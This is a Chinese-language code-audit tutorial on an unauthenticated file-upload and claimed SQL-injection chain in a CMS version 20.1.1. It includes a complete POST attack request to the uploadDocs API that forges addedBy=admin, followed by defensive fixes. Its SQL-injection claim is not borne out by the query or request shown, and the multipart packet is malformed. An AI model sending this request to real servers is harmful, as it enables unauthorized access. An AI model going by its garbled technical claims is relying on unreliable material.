记一次某道CMS审计过程
字数 764 2025-08-22 18:37:27
某道CMS未授权漏洞审计教学文档
漏洞概述
本文档详细分析某道CMS (v20.1.1版本)中的一个未授权漏洞审计过程,涉及SQL注入和文件上传漏洞的利用链。
漏洞定位
1. 入口点分析
漏洞入口位于doc类下的uploadDocs方法,通过反射获取路由传参:
/api.php?m=doc&f=uploaddocs&objectType=1&objectID=2&libID=3&moduleID=4&docType=5
2. 路由解析
系统通过POST请求进入loadModel方法,然后调用getLibByID方法执行SQL语句:
SELECT * FROM ZT_DOCLIB where id = '$doc->lib'
核心漏洞分析
1. 表单数据处理流程
关键代码段:
form::data($this->config->doc->form->create)
setDefault('addedBy', $this->app->user->account)
get()
1.1 form.class.php分析
form.class.php中的data方法负责生成并配置表单数据对象:
- 从POST请求获取原始数据并存储为对象形式
- 初始化处理数据对象
- 初始化错误信息数组
1.2 convertField方法
该方法确保字段数据的有效性和一致性:
- 检查
rawdata中是否存在该字段 - 检查
$data是否为空 - 如果字段存在但处理后的数据为空,进入错误处理逻辑
- 最终将处理后的有效数据存储到
$this->data
2. SQL注入点
关键SQL语句:
$docResult = $this->doc->create($docData)
对应的SQL查询:
SELECT * FROM ZT_DOCLIB where id = '$doc->lib'
只要ZT_DOCLIB表中存在对应ID记录即可利用。
漏洞利用
1. 构造恶意请求
完整攻击数据包:
POST /api.php?m=doc&f=uploaddocs&objectType=1&objectID=2&libID=3&moduleID=4&docType=5 HTTP/1.1
Host: zentaopms:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: zentaosid=h34ae6fj103cthpeuaev3atdj4; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=doc
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
-269651544533912382351498565806
Content-Disposition: form-data; name="addedBy"
admin
-269651544533912382351498565806
Content-Disposition: form-data; name="module"
Admin12310
Content-Length: 924
-269651544533912382351498565806
Content-Disposition: form-data; name="uploadFormat"
combinedDocs
-269651544533912382351498565806
Content-Disposition: form-data; name="lib"
1
-269651544533912382351498565806
Content-Disposition: form-data; name="type"
attachment
-269651544533912382351498565806
Content-Disposition: form-data; name="title"
adminadmin
-269651544533912382351498565806
Content-Disposition: form-data; name="acl"
private
-269651544533912382351498565806
Content-Disposition: form-data; name="uid"
111
-269651544533912382351498565806
Content-Disposition: form-data; name="files[]"; filename="1.jpg"
Content-Type: image/jpeg
11aaaa
-269651544533912382351498565806--
2. 关键参数说明
addedBy: 设置为admin绕过权限检查lib: 设置为已知存在的库IDfiles[]: 上传恶意文件
防御建议
- 对
uploadDocs方法添加权限验证 - 对SQL查询使用参数化查询
- 对上传文件进行严格的内容检查和类型验证
- 对表单数据处理添加更严格的验证逻辑
总结
该漏洞利用链结合了未授权访问、SQL注入和文件上传漏洞,通过精心构造的请求可以绕过系统多项安全检查。审计过程中需要关注表单数据处理流程和数据库查询构造方式。